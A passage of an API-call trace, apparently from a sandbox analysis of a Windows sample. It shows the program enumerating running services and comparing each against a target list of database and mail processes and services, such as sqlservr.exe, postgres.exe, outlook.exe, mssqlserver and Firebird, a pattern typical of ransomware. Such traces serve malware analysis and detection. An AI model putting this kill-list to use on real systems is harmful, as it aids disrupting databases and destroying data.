dwFlags=0x0, lpMem=0x81c4a0 | out: hHeap=0x790000) returned 1 [0153.426] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d4460 | out: hHeap=0x790000) returned 1 [0153.426] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x81c548 | out: hHeap=0x790000) returned 1 [0153.426] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x81d218 | out: hHeap=0x790000) returned 1 [0153.426] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x81c3e0 | out: hHeap=0x790000) returned 1 [0153.426] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7a61a8 | out: hHeap=0x790000) returned 1 [0153.426] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7a5430 | out: hHeap=0x790000) returned 1 [0153.426] lstrlenW (lpString="%systemdrive%") returned 13 [0153.427] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7cea50 | out: hHeap=0x790000) returned 1 [0153.427] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d42c8 | out: hHeap=0x790000) returned 1 [0153.427] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x81d248 | out: hHeap=0x790000) returned 1 [0153.427] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x7fafb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x270 [0153.427] WaitForMultipleObjects (nCount=0x2, lpHandles=0x7ab600*=0x260, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0xd8c Thread: id = 4 os_tid = 0x83c [0153.452] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x81c530 [0153.452] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x81c530, Size=0x20) returned 0x7cec80 [0153.452] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7cec80, Size=0x40) returned 0x7ac618 [0153.452] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ac618, Size=0x80) returned 0x7d43d8 [0153.452] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d43d8, Size=0x100) returned 0x7d6238 [0153.452] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x81c590 [0153.452] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x81c590, Size=0x20) returned 0x7cec30 [0153.452] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7cec30, Size=0x40) returned 0x7aca08 [0153.452] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7aca08, Size=0x80) returned 0x7d4928 [0153.452] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d4928, Size=0x100) returned 0x7d6340 [0153.452] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x81c590 [0153.452] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x4) returned 0x81d2c8 [0153.452] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x81c4b8 [0153.452] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x81d2c8, Size=0x8) returned 0x81d238 [0153.452] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x14) returned 0x7a5150 [0153.452] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x81d238, Size=0x10) returned 0x81c4e8 [0153.453] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x18) returned 0x7a5310 [0153.453] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1a) returned 0x7cec08 [0153.453] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x81c4e8, Size=0x20) returned 0x7ceb40 [0153.453] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1c) returned 0x7cec58 [0153.453] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x16) returned 0x7a52d0 [0153.453] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1a) returned 0x7ce870 [0153.453] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x81c4e8 [0153.453] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x4) returned 0x81d3a8 [0153.453] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40) returned 0x7ac588 [0153.453] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x81d3a8, Size=0x8) returned 0x81d218 [0153.453] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x3c) returned 0x7ac780 [0153.453] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x81d218, Size=0x10) returned 0x81c500 [0153.453] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x14) returned 0x7a5230 [0153.453] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x18) returned 0x7a51f0 [0153.453] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x81c500, Size=0x20) returned 0x7ce7f8 [0153.453] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x24) returned 0x7a61a8 [0153.453] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0153.453] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d6238 | out: hHeap=0x790000) returned 1 [0153.453] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0153.453] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d6340 | out: hHeap=0x790000) returned 1 [0153.453] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7cec30 [0153.454] EnumServicesStatusExW (in: hSCManager=0x7cec30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0153.454] GetLastError () returned 0xea [0153.454] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1f3c) returned 0x7ed478 [0153.454] EnumServicesStatusExW (in: hSCManager=0x7cec30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7ed478, cbBufSize=0x1f3c, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7ed478, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0153.454] CloseServiceHandle (hSCObject=0x7cec30) returned 1 [0153.455] lstrlenW (lpString="Appinfo") returned 7 [0153.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0153.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0153.455] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0153.455] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0153.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0153.455] lstrlenW (lpString="AppXSvc") returned 7 [0153.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0153.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0153.455] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0153.455] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0153.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0153.455] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0153.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0153.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0153.455] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0153.455] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0153.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0153.455] lstrlenW (lpString="Audiosrv") returned 8 [0153.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0153.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0153.455] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0153.455] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0153.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0153.455] lstrlenW (lpString="BFE") returned 3 [0153.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0153.455] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0153.455] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0153.455] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0153.455] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0153.456] lstrlenW (lpString="BITS") returned 4 [0153.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0153.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0153.456] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0153.456] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0153.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0153.456] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0153.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0153.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0153.456] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0153.456] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0153.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0153.456] lstrlenW (lpString="CDPSvc") returned 6 [0153.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0153.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0153.456] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0153.456] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0153.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0153.456] lstrlenW (lpString="ClickToRunSvc") returned 13 [0153.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0153.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0153.456] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0153.456] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0153.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0153.456] lstrlenW (lpString="ClipSVC") returned 7 [0153.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0153.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0153.456] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0153.456] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0153.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0153.456] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0153.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0153.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0153.456] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0153.456] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0153.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0153.456] lstrlenW (lpString="CryptSvc") returned 8 [0153.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0153.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0153.457] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0153.457] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0153.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0153.457] lstrlenW (lpString="DcomLaunch") returned 10 [0153.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0153.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0153.457] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0153.457] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0153.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0153.457] lstrlenW (lpString="DeviceAssociationService") returned 24 [0153.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0153.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0153.457] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0153.457] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0153.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0153.457] lstrlenW (lpString="Dhcp") returned 4 [0153.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0153.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0153.457] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0153.457] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0153.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0153.457] lstrlenW (lpString="Dnscache") returned 8 [0153.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0153.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0153.457] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0153.457] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0153.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0153.457] lstrlenW (lpString="DoSvc") returned 5 [0153.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0153.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0153.457] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0153.457] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0153.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0153.457] lstrlenW (lpString="DPS") returned 3 [0153.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0153.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0153.457] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0153.458] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0153.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0153.458] lstrlenW (lpString="DusmSvc") returned 7 [0153.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0153.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0153.458] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0153.458] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0153.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0153.458] lstrlenW (lpString="EventLog") returned 8 [0153.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0153.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0153.458] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0153.458] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0153.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0153.458] lstrlenW (lpString="EventSystem") returned 11 [0153.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0153.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0153.458] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0153.458] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0153.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0153.458] lstrlenW (lpString="FontCache") returned 9 [0153.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0153.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0153.458] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0153.458] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0153.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0153.458] lstrlenW (lpString="gpsvc") returned 5 [0153.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0153.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0153.458] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0153.458] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0153.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0153.458] lstrlenW (lpString="iphlpsvc") returned 8 [0153.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0153.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0153.458] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0153.458] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0153.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0153.459] lstrlenW (lpString="KeyIso") returned 6 [0153.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0153.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0153.459] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0153.459] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0153.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0153.459] lstrlenW (lpString="LanmanServer") returned 12 [0153.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0153.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0153.459] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0153.459] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0153.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0153.459] lstrlenW (lpString="LanmanWorkstation") returned 17 [0153.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0153.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0153.459] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0153.459] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0153.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0153.459] lstrlenW (lpString="lfsvc") returned 5 [0153.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0153.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0153.459] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0153.459] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0153.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0153.459] lstrlenW (lpString="LicenseManager") returned 14 [0153.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0153.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0153.459] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0153.459] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0153.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0153.459] lstrlenW (lpString="lmhosts") returned 7 [0153.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0153.459] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0153.459] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0153.459] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0153.459] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0153.459] lstrlenW (lpString="LSM") returned 3 [0153.459] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0153.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0153.460] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0153.460] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0153.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0153.460] lstrlenW (lpString="MpsSvc") returned 6 [0153.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0153.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0153.460] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0153.460] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0153.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0153.460] lstrlenW (lpString="NcbService") returned 10 [0153.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0153.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0153.460] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0153.460] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0153.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0153.460] lstrlenW (lpString="netprofm") returned 8 [0153.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0153.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0153.460] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0153.460] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0153.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0153.460] lstrlenW (lpString="NgcSvc") returned 6 [0153.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0153.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0153.460] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0153.460] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0153.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0153.460] lstrlenW (lpString="NlaSvc") returned 6 [0153.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0153.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0153.460] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0153.460] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0153.460] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0153.460] lstrlenW (lpString="nsi") returned 3 [0153.460] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0153.460] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0153.460] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0153.461] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0153.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0153.461] lstrlenW (lpString="PcaSvc") returned 6 [0153.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0153.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0153.461] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0153.461] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0153.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0153.461] lstrlenW (lpString="PlugPlay") returned 8 [0153.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0153.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0153.461] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0153.461] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0153.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0153.461] lstrlenW (lpString="Power") returned 5 [0153.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0153.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0153.461] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0153.461] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0153.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0153.461] lstrlenW (lpString="ProfSvc") returned 7 [0153.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0153.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0153.461] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0153.461] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0153.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0153.461] lstrlenW (lpString="RpcEptMapper") returned 12 [0153.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0153.461] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0153.461] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0153.461] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0153.461] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0153.461] lstrlenW (lpString="RpcSs") returned 5 [0153.461] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 